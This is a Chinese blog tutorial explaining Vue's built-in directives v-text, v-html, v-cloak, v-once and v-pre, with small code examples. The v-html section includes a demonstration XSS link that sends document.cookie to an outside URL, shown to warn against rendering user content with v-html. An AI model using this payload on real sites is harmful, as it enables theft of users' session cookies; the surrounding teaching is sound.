Vue内置指令详解-优快云博客

本文链接：https://blog.youkuaiyun.com/weixin_45832694/article/details/128348610

文章目录

学过的内置指令
v-text指令
v-html指令
v-cloak指令
v-once指令
v-pre指令

学过的内置指令

我们学过的指令：
        v-bind		: 单向绑定解析表达式, 可简写为 :xxx
        v-model		: 双向数据绑定
        v-for  		: 遍历数组/对象/字符串
        v-on   		: 绑定事件监听, 可简写为@
        v-if 		: 条件渲染（动态控制节点是否存存在）
        v-else-if 	: 条件渲染（动态控制节点是否存存在）
        v-else 		: 条件渲染（动态控制节点是否存存在）
        v-show 		: 条件渲染 (动态控制节点是否展示)

v-text指令

作用：向其所在的节点中渲染文本内容。
与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
写法：v-text=属性名"

<div id="root">
    <!--插值表达式写法-->
    <div>插值表达式：{{name}}</div>
    <div>您好！{{str}}</div><hr>
    <!--v-text写法-->
    <div v-text="name">321</div>
    <div v-text="str">123</div>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            name:'内置指令',
            str:'<h3>您好！text指令</h3>'
        }

    })
</script>

效果：v-text会替换掉节点中的内容，而插值表达式不会。
请添加图片描述

v-html指令

作用：向指定节点中渲染包含html结构的内容。
写法：v-html=“属性名”
与插值语法的区别：

(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2).v-html可以识别html结构。

严重注意：v-html有安全性问题！！！！

(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

<div id="root">
    <!--一种写法，插值表达式-->
    <div>{{name}}</div>
    <div>您好！{{str}}</div><hr>
    <!--一种写法：v-text=属性名"-->
    <div v-text="name"></div>
    <div v-text="str"></div><hr>
    <!--一种写法：v-html=属性名"-->
    <div v-html="name"></div>
    <div v-html="str"></div>
    <!--安全性问题-->
    <div v-html="str2"></div>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            name:'内置指令',
            str:'<h3>您好！html指令</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我会产生安全问题！</a>'

        }
    })
</script>

测试安全问题需要添加一个cookie
请添加图片描述

效果：点击超链接会把用户的cookie携带过去，如果这个网址是一个非法网址，俗称钓鱼网站，就会严重产生安全问题。
请添加图片描述
在这里插入图片描述

v-cloak指令

v-cloak本身没有值，只需设置即可。本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

作用：使用css配合可以解决初始化慢导致页面闪动的最佳实践

当使用直接在 DOM 中书写的模板时，可能会出现一种叫做“未编译模板闪现”的情况：用户可能先看到的是还没编译完成的双大括号标签，直到挂载的组件将它们替换为实际渲染的内容。

	<style>
        [v-cloak]{
            display:none;
        }
    </style>

<div id="root">
    <div v-cloak>{{name}}</div>
</div>
<script type="text/javascript" src = "../js/vue.js"></script>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    new Vue({
        el:'#root',
        data:{
            name:'v-cloak指令'
        }
    })
</script>

v-once指令

v-once本身没有值，只需设置即可。
作用：仅渲染元素和组件一次，并跳过之后的更新。以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<div id="root">

    <h2 v-once>初始的n值：{{n}}</h2>
    <h2>当前n值是：{{n}}</h2>

    <button @click="n++">点我n+1</button>
</div>

</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            n:0
        }

    })
</script>

效果：不管怎么加，v-once修饰的节点都不会再更新
在这里插入图片描述

v-pre指令

v-pre本身没有值，只需设置即可。
作用：跳过该元素及其所有子元素的编译。可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<div id="root">
    <h2>普通插值语法</h2>
    <h2>当前n值是：{{n}}</h2>
    <h2 v-pre>v-pre</h2>
    <h2 v-pre>当前n值是：{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>